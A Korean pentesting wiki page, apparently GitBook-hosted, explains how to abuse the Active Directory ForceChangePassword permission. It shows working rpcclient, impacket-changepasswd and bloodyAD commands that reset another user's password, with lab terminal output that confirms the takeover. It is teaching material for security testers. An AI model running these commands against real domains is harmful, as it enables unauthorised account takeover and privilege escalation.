펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. DACL

ForceChangePassword

PreviousReadLAPSPasswordNextAddSelf

Last updated 1 month ago

Was this helpful?

ForceChangePassword는 Active Directory에서 사용되는 권한입니다. Active Directory에서 사용되는 권한인 ForceChangePassword는 Alice 사용자가 Bob 사용자에 대한 권한이 있을 시 Bob 사용자의 패스워드를 임의로 변경해버릴 수 있는 권한입니다.

침투자 혹은 공격자의 입장에서 프롬프트 환경을 사용하지 못한다고 하더라도 msrpc, SMB 등의 프로토콜이 실행중이라면 원격 명령 실행을 통해 변경할 수 있습니다. 현재 실습 환경에서는 wiki 사용자가 pentesting 사용자에 대한 ForceChangePassword 권한이 있기 때문에 원격으로 pentesting 사용자의 패스워드를 변경할 수 있습니다.

msrpc가 실행중인 서버의 경우 setuserinfo2를 통해서 변경 권한이 있는 유저에 한해서 유저 정보 변경이 가능합니다. RPC 원격 접속을 변경 권한이 존재하는 support 계정으로 접속했기 때문에 audit2020 계정에 한해서 setuserinfo2 모듈 사용을 통한 정보 변경이 가능합니다. setuserinfo2 모듈에서 패스워드 변경은 23번이며 기본 포맷은 다음과 같습니다.

setuserinfo2 <Target> 23 <New PASS>

명령 실행 이후엔 패스워드가 변경되어 기존의 password123@에서 password321!로 변경된 뒤 로그인이 성공합니다.

┌──(root㉿kali)-[~]
└─# rpcclient -U wiki 10.0.2.10                                                                  
Password for [WORKGROUP\wiki]:
rpcclient $> setuserinfo2 pentesting 23 password321!
rpcclient $> exit
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password321!
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password321! 

SMB를 통한 패스워드 원격 변경은 impacket-changepasswd 모듈을 사용합니다. 기본적인 포매팅은 다음과 같습니다.

impacket-changepasswd -altuser <USER> -altpass <PASS> <Domain>/<Target>@<DC-IP> -reset

명령을 입력하면 기존의 패스워드는 password123@로 로그인했지만 실행 이후엔 password123!로 로그인이 되는 것을 확인할 수 있습니다.

┌──(root㉿kali)-[~]
└─# impacket-changepasswd -altuser pentesting -altpass password123@ offsec/pentesting@10.0.2.10 -reset
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

New password: 
Retype new password: 
[*] Setting the password of offsec\pentesting as offsec\pentesting
[*] Connecting to DCE/RPC as offsec\pentesting
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password123!                                                   
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password123! 
bloodyAD --host <Target IP> -d <Domain> -u <USER> -p <PASS> set password <Target USER> <Target New PASS>

References

ForceChangePasswordThe Hacker Recipes
Logo